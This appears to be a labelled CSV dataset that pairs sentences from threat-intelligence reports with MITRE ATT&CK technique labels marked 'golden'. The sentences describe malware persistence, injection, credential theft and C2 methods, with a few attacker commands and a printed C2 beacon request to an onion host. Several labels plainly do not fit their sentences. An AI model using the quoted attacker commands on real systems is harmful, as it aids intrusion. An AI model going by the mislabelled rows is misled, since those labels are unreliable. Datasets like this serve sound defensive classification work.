"has used  to gather the OS version, as well as information on the system configuration, BIOS, the motherboard, and the processor.",['T1082 - System Information Discovery'],golden
has used  to get information on processes.,['T1057 - Process Discovery'],golden
"has used tools to exploit Windows vulnerabilities in order to escalate privileges. The tools targeted CVE-2013-3660, CVE-2011-2005, and CVE-2010-4398, all of which could allow local users to access kernel-level privileges.",['T1068 - Exploitation for Privilege Escalation'],golden
has used tools to perform keylogging.,['T1056 - Input Capture'],golden
has used to use DLL side-loading to evade anti-virus and to maintain persistence on a victim.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
has used valid accounts for privilege escalation.,['T1078 - Valid Accounts'],golden
has used watering holes to deliver files with exploits to initial victims.,['T1189 - Drive-by Compromise'],golden
has used WMI for execution.,['T1047 - Windows Management Instrumentation'],golden
hooks processes by modifying IAT pointers to CreateWindowEx.,['T1056.004 - Input Capture: Credential API Hooking'],golden
identified and extracted all Word documents on a server by using a command containing * .doc and *.docx. The actors also searched for documents based on a specific date range and attempted to identify all installed software on a victim.,['T1083 - File and Directory Discovery'],golden
"identifies files with certain extensions from USB devices, then copies them to a predefined directory.",['T1083 - File and Directory Discovery'],golden
"If running in a Windows environment,  saves a DLL to disk that is injected into the explorer.exe process to execute the payload.  can also be configured to inject and execute within specific processes.",['T1055 - Process Injection'],golden
"If the victim is using PowerShell 3.0 or later,  writes its decoded payload to an alternate data stream (ADS) named kernel32.dll that is saved in %PROGRAMDATA%\Windows\.",['T1564.004 - Hide Artifacts: NTFS File Attributes'],golden
injects itself into the secure shell (SSH) process.,['T1055 - Process Injection'],golden
"In one instance,  added  as a service with a display name of ""Corel Writing Tools Utility.""",['T1036 - Masquerading'],golden
installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
installer uses WMI to search for antivirus display names.,['T1047 - Windows Management Instrumentation'],golden
"installs a service on the remote system, executes the command, then uninstalls the service.",['T1569.002 - System Services: Service Execution'],golden
installs itself as a service for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
installs itself as a service to maintain persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
"installs itself in %ALLUSERPROFILE%\\Application Data\Microsoft\MediaPlayer\updatewindws.exe; the directory name is missing a space and the file name is missing the letter ""o.""",['T1036 - Masquerading'],golden
installs VNC server software that executes through rundll32.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
is a Web shell that appears to be exclusively used by . It is installed as an ISAPI filter on Exchange servers and shares characteristics with the  Web shell.,['T1505.003 - Server Software Component: Web Shell'],golden
is capable of capturing keystrokes on victims.,['T1056 - Input Capture'],golden
is capable of capturing screenshots.,['T1113 - Screen Capture'],golden
is capable of capturing video.,['T1125 - Video Capture'],golden
is capable of downloading a file from a specified URL.,['T1105 - Ingress Tool Transfer'],golden
is capable of enumerating Registry keys and values.,['T1012 - Query Registry'],golden
is capable of gathering system information.,['T1082 - System Information Discovery'],golden
"is capable of leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex for C2.",['T1102 - Web Service'],golden
is capable of modifying the Registry.,['T1112 - Modify Registry'],golden
is capable of providing Meterpreter shell access.,['T1059 - Command and Scripting Interpreter'],golden
is capable of spawning a reverse shell on a victim.,['T1059 - Command and Scripting Interpreter'],golden
is known to use PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
is loaded and executed by a highly obfuscated launcher.,['T1027 - Obfuscated Files or Information'],golden
is used for proxying connections to obfuscate command and control infrastructure.,['T1090 - Proxy'],golden
It is believed that a patch management system for an anti-virus product commonly installed among targeted companies was used to distribute the  malware.,['T1072 - Software Deployment Tools'],golden
kills antimalware running process.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
launches a DLL file that gets executed as a service using svchost.exe,['T1569.002 - System Services: Service Execution'],golden
leverages a known zero-day vulnerability in Adobe Flash to execute the implant into the victims’ machines.,['T1203 - Exploitation for Client Execution'],golden
"leverages the Windows API calls: VirtualAlloc(), WriteProcessMemory(), and CreateRemoteThread() for process injection.",['T1106 - Native API'],golden
lists local users and session information.,['T1033 - System Owner/User Discovery'],golden
lists the current processes running.,['T1057 - Process Discovery'],golden
lists the running processes on the system.,['T1057 - Process Discovery'],golden
looked for a specific process running on infected servers.,['T1057 - Process Discovery'],golden
"malware can download a remote access tool, NanoCore, and inject into another process.",['T1055 - Process Injection'],golden
malware can use cmd.exe to download and execute payloads and to execute commands on the system.,['T1059 - Command and Scripting Interpreter'],golden
malware can use PowerShell commands to download and execute a payload and open a decoy document on the victim’s machine.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
"malware gathers system information via WMI, including the system directory, build number, serial number, version, manufacturer, model, and total physical memory.",['T1082 - System Information Discovery'],golden
"malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers.  malware RomeoDelta copies specified directories from the victim's machine, then archives and encrypts the directories before uploading to its C2 server.",['T1005 - Data from Local System'],golden
malware is capable of keylogging.,['T1056 - Input Capture'],golden
Malware used by  is capable of watching the victim's screen.,['T1113 - Screen Capture'],golden
may collect process information by running tasklist on a victim.,['T1057 - Process Discovery'],golden
may collect user account information by running net user /domain or a series of other commands on a victim.,['T1087 - Account Discovery'],golden
may create a .lnk file to itself that is saved in the Start menu folder. It may also create the Registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ IMJPMIJ8.1{3 characters of Unique Identifier}.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
may query the Registry by running reg query on a victim.,['T1012 - Query Registry'],golden
may use net start to display running services.,['T1007 - System Service Discovery'],golden
may use netstat -ano to display active network connections.,['T1049 - System Network Connections Discovery'],golden
MISC::AddSid module can appended any SID or user/group account to a user's SID-History.  also utilizes  to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.,['T1134.005 - Access Token Manipulation: SID-History Injection'],golden
modified the Registry to perform multiple techniques through the use of .,['T1112 - Modify Registry'],golden
modifies the tty_tickets line in the sudoers file.,['T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching'],golden
"monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system.",['T1120 - Peripheral Device Discovery'],golden
obfuscates C2 traffic with an altered version of base64.,['T1001 - Data Obfuscation'],golden
obtains a build identifier as well as victim hard drive information from Windows registry key HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum. Another  variant gathers the victim storage volume serial number and the storage device name.,['T1082 - System Information Discovery'],golden
obtains the target's IP address and local network segment.,['T1016 - System Network Configuration Discovery'],golden
One persistence mechanism used by  is to set itself to be executed at system startup by adding a Registry value under one of the following Registry keys: <br>HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ <br>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ <br>HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run <br>HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
One  variant connected to its C2 server over port 8080.,['T1043 - Commonly Used Port'],golden
"One  variant decrypts an archive using an RC4 key, then decompresses and installs the decrypted malicious DLL module. Another variant decodes the embedded file by XORing it with the value ""0x35"".",['T1140 - Deobfuscate/Decode Files or Information'],golden
"One variant of  locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence.",['T1574.010 - Services File Permissions Weakness'],golden
packed an executable by base64 encoding the PE file and breaking it up into numerous lines.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
performs a connection test to discover remote systems in the network,['T1018 - Remote System Discovery'],golden
performs code injection injecting its own functions to browser processes.,['T1055 - Process Injection'],golden
performs local network configuration discovery using ipconfig.,['T1016 - System Network Configuration Discovery'],golden
performs XOR encryption.,['T1573 - Encrypted Channel'],golden
persists by creating a Registry entry in HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
persists through a scheduled task that executes it every minute.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
places scripts in the startup folder for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
presents an input prompt asking for the user's login and password.,['T1056 - Input Capture'],golden
prompts the user for credentials.,['T1056 - Input Capture'],golden
prompts the users for credentials.,['T1056 - Input Capture'],golden
provides command-line access to the compromised system.,['T1059 - Command and Scripting Interpreter'],golden
queried the Registry to identify victim information.,['T1012 - Query Registry'],golden
"regained access after eviction via the corporate VPN solution with a stolen VPN certificate, which they had extracted from a compromised host.",['T1133 - External Remote Services'],golden
regularly deploys both publicly available and custom password retrieval tools on victims.,['T1003 - OS Credential Dumping'],golden
removed certain files and replaced them so they could not be retrieved.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Responses from the  C2 server are base32-encoded.,['T1132 - Data Encoding'],golden
runs the command net start on a victim.,['T1007 - System Service Discovery'],golden
saves information from its keylogging routine as a .zip file in the present working directory.,['T1074 - Data Staged'],golden
"saves itself with a leading ""."" to make it a hidden file.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],golden
"saves one of its files as mpr.dll in the Windows folder, masquerading as a legitimate library file.",['T1036 - Masquerading'],golden
scans the victim for files that contain certain keywords from a list that is obtained from the C2 as a text file. It also collects information about installed software.,['T1083 - File and Directory Discovery'],golden
scans to identify open ports on the victim.,['T1046 - Network Service Discovery'],golden
scrapes memory for properly formatted payment card data.,['T1005 - Data from Local System'],golden
searches and reads the value of the Windows Update Registry Run key.,['T1012 - Query Registry'],golden
searches for files on the victim's machine.,['T1083 - File and Directory Discovery'],golden
"searches for interesting files (either a default or customized set of file extensions) on the local system.  will scan the My Recent Documents, Desktop, Temporary Internet Files, and TEMP directories.  also collects information stored in the Windows Address Book.",['T1005 - Data from Local System'],golden
searches through connected drives for removable storage devices.,['T1120 - Peripheral Device Discovery'],golden
"searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions.",['T1083 - File and Directory Discovery'],golden
selective infector modifies executables stored on removable media as a method of spreading across computers.,['T1091 - Replication Through Removable Media'],golden
sends collected files back over same C2 channel.,['T1041 - Exfiltration Over C2 Channel'],golden
sent emails to victims with malicious Microsoft Office documents attached.,['T1598.002 - Spearphishing Attachment'],golden
sent spearphishing emails with malicious attachments in RTF and XLSM formats to deliver initial exploits.,['T1598.002 - Spearphishing Attachment'],golden
Several commands are supported by the 's implant via the command-line interface and there’s also a utility to execute any custom command on an infected endpoint.,['T1059 - Command and Scripting Interpreter'],golden
Several  malware families gather a list of running processes on a victim system and send it to their C2 server. A Destover-like variant used by  also gathers process times.,['T1057 - Process Discovery'],golden
Some  samples encrypt C2 communications with RC4.,['T1573 - Encrypted Channel'],golden
"Some  strings are base64 encoded, such as the embedded DLL known as MockDll.",['T1027 - Obfuscated Files or Information'],golden
"Some  variants add new services with display names generated by a list of hard-coded strings such as Application, Background, Security, and Windows, presumably as a way to masquerade as a legitimate service.",['T1036 - Masquerading'],golden
Some  variants establish persistence by modifying the Registry key HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Run:%appdata%\NeutralApp\NeutralApp.exe.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
Some  variants incorporate an MBR rootkit.,['T1542.003 - Bootkit'],golden
Some  variants use port 8088 for C2.,['T1571 - Non-Standard Port'],golden
stage 1 modules for 64-bit systems have been found to be signed with fake certificates masquerading as originating from Microsoft Corporation and Broadcom Corporation.,['T1553.002 - Code Signing'],golden
"stages data it copies from the local system or removable drives in the ""%WINDIR%\$NtUninstallKB885884$\"" directory.",['T1074 - Data Staged'],golden
steals credentials stored inside Internet Explorer.,['T1003 - OS Credential Dumping'],golden
steals user files from removable media with file extensions and keywords that match a predefined list.,['T1025 - Data from Removable Media'],golden
stole domain credentials from Microsoft Active Directory Domain Controller and leveraged .,['T1003 - OS Credential Dumping'],golden
stores configuration items in alternate data streams (ADSs) if the Registry is not accessible.,['T1564.004 - Hide Artifacts: NTFS File Attributes'],golden
"strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm.",['T1027 - Obfuscated Files or Information'],golden
supports peer connections.,['T1090 - Proxy'],golden
surveys a system upon check-in to discover running processes using the tasklist /v command.,['T1057 - Process Discovery'],golden
takes a screenshot of the screen and displays it on top of all other windows for few seconds in an apparent attempt to hide some messages showed by the system during the setup process.,['T1113 - Screen Capture'],golden
takes periodic screenshots and exfiltrates them.,['T1113 - Screen Capture'],golden
takes screenshots of the user's desktop.,['T1113 - Screen Capture'],golden
terminates antimalware processes.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
"tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.",['T1008 - Fallback Channels'],golden
"The  backdoor is a Web shell that supports server payloads for many different kinds of server-side scripting languages and contains functionality to access files, connect to a database, and open a virtual command prompt.",['T1505.003 - Server Software Component: Web Shell'],golden
The C2 server used by  provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.,['T1008 - Fallback Channels'],golden
The  credential dumper contains an implementation of an SSP.,['T1547.005 - Boot or Logon Autostart Execution: Security Support Provider'],golden
The  credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The LSADUMP::ChangeNTLM and LSADUMP::SetNTLM modules can also manipulate the password hash of an account without knowing the clear text value.,['T1098 - Account Manipulation'],golden
The executable version of  has a module to log clipboard contents.,['T1115 - Clipboard Data'],golden
The  group is known to have used RDP during operations.,['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
The  malware platform uses Extended Attributes to store encrypted executables.,['T1564.004 - Hide Artifacts: NTFS File Attributes'],golden
The  malware uses custom Base64 encoding schemes to obfuscate data command and control traffic in the message body of HTTP requests.,['T1001 - Data Obfuscation'],golden
"the victim's internal network for hosts with ports 8080, 5900, and 40 open.",['T1046 - Network Service Discovery'],golden
"To move laterally on a victim network,  has used credentials stolen from various systems on which it gathered usernames and password hashes.",['T1078 - Valid Accounts'],golden
Tools used by  are capable of downloading and executing additional payloads.,['T1105 - Ingress Tool Transfer'],golden
TRINITY malware used by  encodes data gathered from the victim with a simple substitution cipher and single-byte XOR using the OxAA key.,['T1486 - Data Encrypted for Impact'],golden
uploads files from a specified directory to the C2 server.,['T1005 - Data from Local System'],golden
used an HTTP malware variant and a Port 22 malware variant to collect the MAC address and IP address from the victim’s machine.,['T1016 - System Network Configuration Discovery'],golden
"used an open-source tool, Phishery, to inject malicious remote template URLs into Microsoft Word documents and then sent them to victims to enable .",['T1221 - Template Injection'],golden
used a proxy server between victims and the C2 server.,['T1090 - Proxy'],golden
used a signed credential-dumping tool to obtain victim account credentials.,['T1003 - OS Credential Dumping'],golden
used a tool called MailSniper to search through the Exchange server mailboxes for keywords.,['T1114 - Email Collection'],golden
used a valid AppleDeveloperID to sign the code to get past security restrictions.,['T1553.002 - Code Signing'],golden
used batch scripts to enumerate administrators in the environment.,['T1069 - Permission Groups Discovery'],golden
used HTTP for C2 communications.  also used an HTTP malware variant to communicate over HTTP for C2.,['T1071 - Application Layer Protocol'],golden
used legitimate programs such as AmmyAdmin and Team Viewer for remote interactive C2 to target systems.,['T1219 - Remote Access Software'],golden
used Microsoft’s Sysinternals tools to gather detailed information about remote systems.,['T1018 - Remote System Discovery'],golden
used net use commands to connect to lateral systems within a network.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
used spearphishing with Microsoft Office attachments to target victims.,['T1598.002 - Spearphishing Attachment'],golden
used TCP port 80 for C2.,['T1043 - Commonly Used Port'],golden
used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.,['T1003 - OS Credential Dumping'],golden
"used various types of scripting to perform operations, including Python and batch scripts. The group was observed installing Python 2.7 on a victim.",['T1064 - Scripting'],golden
uses a backdoor known as BADFLICK that is is capable of generating a reverse shell.,['T1059 - Command and Scripting Interpreter'],golden
uses a command prompt to run a PowerShell script from Excel.,['T1059 - Command and Scripting Interpreter'],golden
"uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS. In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.",['T1071 - Application Layer Protocol'],golden
uses AES to encrypt C2 traffic.,['T1573 - Encrypted Channel'],golden
uses an XOR 0x1 loop to encrypt its C2 domain.,['T1573 - Encrypted Channel'],golden
uses basic obfuscation in the form of spaghetti code.,['T1027 - Obfuscated Files or Information'],golden
uses cmd.exe to execute netshcommands.,['T1059 - Command and Scripting Interpreter'],golden
uses commonly used ports (like HTTPS/443) for command and control.,['T1043 - Commonly Used Port'],golden
uses custom encryption for C2 using 3DES and RSA.,['T1573 - Encrypted Channel'],golden
uses HTTP/HTTPS for command and control communication.,['T1071 - Application Layer Protocol'],golden
uses HTTP for command and control.,['T1071 - Application Layer Protocol'],golden
uses HTTP over port 443 for command and control.,['T1043 - Commonly Used Port'],golden
uses macOS' .command file type to script actions.,['T1064 - Scripting'],golden
uses multiple proxies to obfuscate network traffic from victims.,['T1090 - Proxy'],golden
uses net.exe to connect to network shares using net use commands with compromised credentials.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
"uses PowerShell to execute various commands, one to execute its payload.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
uses raw sockets to communicate with its C2 server.,['T1095 - Non-Application Layer Protocol'],golden
uses RC4 to encrypt C2 responses.,['T1573 - Encrypted Channel'],golden
"uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
uses tasklist /svc to display running tasks.,['T1007 - System Service Discovery'],golden
"uses the command cmd.exe /c netsh firewall add portopening TCP 443 ""adp"" and makes the victim machine function as a proxy server.",['T1090 - Proxy'],golden
uses the SmartAssembly obfuscator to pack an embedded .Net Framework assembly used for C2.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
uses  to list TCP connection status.,['T1049 - System Network Connections Discovery'],golden
uses  to perform remote service manipulation to execute a copy of itself as part of lateral movement.,['T1569.002 - System Services: Service Execution'],golden
"uses two utilities, GETMAIL and MAPIGET, to steal email. GETMAIL extracts emails from archived Outlook .pst files, and MAPIGET steals email still on Exchange servers that has not yet been archived.",['T1114 - Email Collection'],golden
uses various XOR techniques to obfuscate its components.,['T1027 - Obfuscated Files or Information'],golden
uses Windows admin shares to establish authenticated sessions to remote systems over SMB as part of lateral movement.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
uses WMI to perform process monitoring.,['T1047 - Windows Management Instrumentation'],golden
variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],golden
version of  communicates with their server over a TCP port using HTTP payloads Base64 encoded and suffixed with the string “&&&”,['T1071 - Application Layer Protocol'],golden
"When it first starts,  spawns a new thread to log keystrokes.",['T1056 - Input Capture'],golden
"When the  command and control is operating over HTTP or HTTPS, Duqu uploads data to its controller by appending it to a blank JPG file.",['T1001 - Data Obfuscation'],golden
will delete files on the system.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
will zip up the /Library/Keychains directory before exfiltrating it.,['T1560 - Archive Collected Data'],golden
writes collected data to a temporary file in an encrypted form before exfiltration to a C2 server.,['T1486 - Data Encrypted for Impact'],golden
"[2] Threat groups use strategic web compromises (SWCs), also known as watering hole attacks, to target a wide array of potential victims",['T1189 - Drive-by Compromise'],golden
"The majority of ActiveX Objects created with Wscript.Shell and Shell.Application are used to run programs, create shortcuts, manipulate the contents of the registry, or access system folders",['T1059 - Command and Scripting Interpreter'],golden
The threat actors used the appcmd command-line tool to unlock and disable the default logging component on the server (systsm.webServer/httplogging) and then delete existing logs from the system (see Figure 4),['T1059 - Command and Scripting Interpreter'],golden
Gather network addresses and operating system version Execute arbitrary commands using “cmd.exe /c”  The capability to execute system commands,['T1059 - Command and Scripting Interpreter'],golden
Both variants need to be executed with the command line argument “[2]” to avoid continually attempting to copy and execute the Trojan using the “tmp.vbs” and “tmp1.vbs” files,['T1059 - Command and Scripting Interpreter'],golden
/user <parameters>: Executes downloaded file with parameters specified using CreateProcessAsUser cmd /c <command>: Executes command on infected endpoint   Conclusion  The actor behind Honeybee has been operating with new implants since at least November 2017 with the first known version of NTWDBLIB installer,['T1059 - Command and Scripting Interpreter'],golden
"Traps provides endpoint protection, as it can block Excel from creating a command prompt process",['T1059 - Command and Scripting Interpreter'],golden
Access remote objects interactively from the pupy shell and get auto-completion of remote attributes,['T1059 - Command and Scripting Interpreter'],golden
"It is used to create new processes, perform as a command line shell, and several other tasks",['T1059 - Command and Scripting Interpreter'],golden
"We analyzed the command handler and found that it provided the necessary commands for a fully functional backdoor, as seen in Table 1",['T1059 - Command and Scripting Interpreter'],golden
The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload,['T1027 - Obfuscated Files or Information'],golden
The code is obfuscated in order to hide any malicious activity on the remote server,['T1027 - Obfuscated Files or Information'],golden
This strangeness was related to values listed in newer BlackEnergy configuration files,['T1027 - Obfuscated Files or Information'],golden
These requests are encrypted using the RC4 algorithm,['T1027 - Obfuscated Files or Information'],golden
"The launcher module, obfuscated with the notorious Metasploit’s shikata_ga_nai encoder, is the same for all the droppers",['T1027 - Obfuscated Files or Information'],golden
"After decompiling it from the PE file, it is heavily obfuscated and still almost unreadable.We deobfuscated the script to understand how the infection process works",['T1027 - Obfuscated Files or Information'],golden
"Code snippet of the obfuscated document After deobfuscation, we can see that the payload is written in the Perl programming language",['T1027 - Obfuscated Files or Information'],golden
"Its developer used the open source Invoke-Obfuscation tool to obfuscate this PowerShell script, specifically using the COMPRESS technique offered by Invoke-Obfuscation",['T1027 - Obfuscated Files or Information'],golden
"The Trojan accesses two resources, named Sch and VBS that contains obfuscated strings that contain the command to create the scheduled task and the VBScript to run",['T1027 - Obfuscated Files or Information'],golden
A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation,['T1027 - Obfuscated Files or Information'],golden
"Invoke-Obfuscation calls the string obfuscation used by the actors to further obfuscate this script Reorder, which uses the string formatting functionality within PowerShell to reconstruct strings from out of order substrings (ex",['T1027 - Obfuscated Files or Information'],golden
The C&C server then replies with the encrypted serialized configuration,['T1027 - Obfuscated Files or Information'],golden
The payload (abbad7acd…) is an executable that appears to have been created by a VBScript to Executable tool and further obfuscated with a cryptor,['T1027 - Obfuscated Files or Information'],golden
"Navigating to the web page manually to view:source reveals the code, which at the time of writing happened to not be obfuscated in any significant way",['T1027 - Obfuscated Files or Information'],golden
"The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters.",['T1027 - Obfuscated Files or Information'],golden
"The ""Blackwater.bas"" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer.",['T1027 - Obfuscated Files or Information'],golden
Note that every string is decrypted with different XOR parameter which may fail some of the automatic analyzers.,['T1027 - Obfuscated Files or Information'],golden
"Analysis of the domains and IP address infrastructure used by APT15 identified a number of similar possible domains, shown at the bottom of the post",['T1016 - System Network Configuration Discovery'],golden
"By running SSH on the server in a compromised network, attackers can come back to the network whenever they want",['T1016 - System Network Configuration Discovery'],golden
"Regular Expressions   ([^r-v\\s])[r-v]([\\w\\d+\\/=]+)-\\w+.(<domainList[0]>|<domainList[1]>|<domainList[n]>)   Address:\\s+(([a-fA-F0-9]{0,4}:{1,4}[\\w|:]+){1,8})   Address:\\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})   ([^r-v\\s]+)[r-v]([\\w\\d+\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)   (\\w+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)   Address:\\s+(\\d+.\\d+.\\d+.\\d+)    Table 3 Regular expressions used by RogueRobin The C# variant, like its PowerShell relative, will issue DNS queries to determine which query types can successfully communicate with its C2 servers",['T1016 - System Network Configuration Discovery'],golden
DHS and FBI are distributing these IP addresses to enable network defense activities and reduce exposure to the DDoS command-and-control network,['T1016 - System Network Configuration Discovery'],golden
"RATANKBA looking for specific IP ranges Our analysis of samples of the hack tool (HKTL_NBTSCAN.GA and HKTL_NBTSCAN.GB) indicate it as a command-line program that scans IP networks for NetBIOS information such as IP address, NetBIOS computer name, logged-in username, and MAC address—with some of the information coming from the initial RATAKNBA installation",['T1016 - System Network Configuration Discovery'],golden
"Based on dynamic and static analysis of the malware sample associated with the supservermgr[.]com domain however, we were able to determine several unique artifacts which allowed us to expand our dataset and discover additional findings",['T1016 - System Network Configuration Discovery'],golden
"(Source: Dell SecureWorks) Appendix D — Domain name parking example CTU researchers have observed TG-3390 parking domains by pointing their A record to a non-routable IP space, including the 127.0.0.[x] loopback address",['T1016 - System Network Configuration Discovery'],golden
Trickbot uses this encrypted module to scan the network and steal relevant network information.,['T1016 - System Network Configuration Discovery'],golden
"The majority of businesses still maintain Windows-heavy user environments where certain core infrastructure components also operate under Windows servers (e.g., Active Directory, SharePoint, etc.)",['T1010 - Application Window Discovery'],golden
"Because of Poseidon’s longevity, there are samples targeting Windows systems as early as Windows NT 4.0 Server and Windows 95 Workstation up to current versions like Windows 8.1, as well as server variants (very important to them, given the emphasis on reaching Domain Controllers in corporate environments.) How is this different from any other targeted attack? The extortion elements of this campaign are what set it apart from others",['T1010 - Application Window Discovery'],golden
LANS Deletes the file created by the LAN command to reverse the effect,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
USBS Deletes the file created by the USB command to reverse the effect,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
DEL Deletes a specified file,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
"After running the malware, the batch script goes on to cleans up all signs of its existence on the system, this includes:  Deletion of all initial files created during installation, as well as all associated files required on disk during initial execution",['T1070.004 - Indicator Removal on Host: File Deletion'],golden
"Kaspersky Lab products detect the malware used by Poseidon Group with the following detection names: Backdoor.Win32.Nhopro HEUR:Backdoor.Win32.Nhopro.gen HEUR:Hacktool.Win32.Nhopro.gen How many victims have you found? At least 35 victim companies have been identified with primary targets including financial and government institutions, telecommunications, manufacturing, energy and other service utility companies, as well as media and public relations firms",['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Both “%APPDATA%\\Microsoft\Windows\Cookies.txt” and “%APPDATA%\\Microsoft\Windows\Cookies.exe” are then deleted,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
"Once they are deleted by the attackers’ code, there is nothing left to be forensically recovered.",['T1070.004 - Indicator Removal on Host: File Deletion'],golden
"OSinfo: OSInfo is a general purpose, system information gathering tool",['T1082 - System Information Discovery'],golden
"infoClient is reponsible for collecting OS info, submitting this info to its C&C servers (the servers are malicious in nature), and receiving additional C&C communication information",['T1082 - System Information Discovery'],golden
"POST /api/osx/started HTTP/1.1Host: r2elajikcosf7zee.onion.toAccept: */*Content-Length: 233Content-Type: application/x-www-form-urlencodedbot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&amp;data=psX0DKYB0u...5TximyY%2BQY%3D     Figure 10: Malware sending initial information       &gt; rc4decrypt(base64decode(""psX0DKYB0u...5TximyY+QY=""), ""u2RLhh+!LGd9p8!ZtuKcN"")device_model=MacBookPro9,2bot_version=1.3.5build_name=elitef*ckos_version=15.5.0ip_address=4.5.6.7has_root=0     Figure 11: Decoded data sent to C&C The bot_id is constructed by hashing the following values with SHA-256:  The hardware UUID (IOPlatformUUID) The system serial number (IOPlatformSerialNumber) The model identifier of the Mac (e.g.: MacBookPro9,2)  Most actions are self-explanatory",['T1082 - System Information Discovery'],golden
"This information allows a threat actor to determine if their messages were delivered, which users are more susceptible to opening them, and basic information regarding the target’s operating system and e-mail client (or browser)",['T1082 - System Information Discovery'],golden
"The main purpose of the IGT tool is to make an inventory of the system, saving information from the network interfaces and addresses, credentials belonging to the Domain and database server, services being run from the OS and everything that could help the Poseidon Group make its attack more customized to its victim",['T1082 - System Information Discovery'],golden
"Two of them are MacOS X User-Agents and the third is a hashed string:  Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405   E9BC3BD76216AFA560BFB5ACAF5731A3   Figure 5: SpeakUp `s requests are encrypted with the salted base64 and include the unique User-Agent At the moment SpeakUp serves XMRig miners to its listening infected servers",['T1082 - System Information Discovery'],golden
This is the first time that Bankshot has been tied directly to financial-related hacking and the first time it has been used since November 2017,['T1124 - System Time Discovery'],golden
"The time of the observed attacker activity coincides with Iran’s Daylight Time, which is +0430 UTC",['T1124 - System Time Discovery'],golden
Cadelle and Chafer are most active during the day time within Iran’s time zone and primarily operate during Iran’s business week (Saturday through Thursday),['T1124 - System Time Discovery'],golden
"The shellcode decodes and decompresses another DLL, which is an updated variant of UPPERCUT",['T1140 - Deobfuscate/Decode Files or Information'],golden
This function is able to obfuscate code so that every iteration of the code is presented differently,['T1140 - Deobfuscate/Decode Files or Information'],golden
"The code comparison specifically shows the HighShell code including a salt variable containing di2zag7wZHTK9YR0NGq, which is not present within the TwoFace code on the left",['T1140 - Deobfuscate/Decode Files or Information'],golden
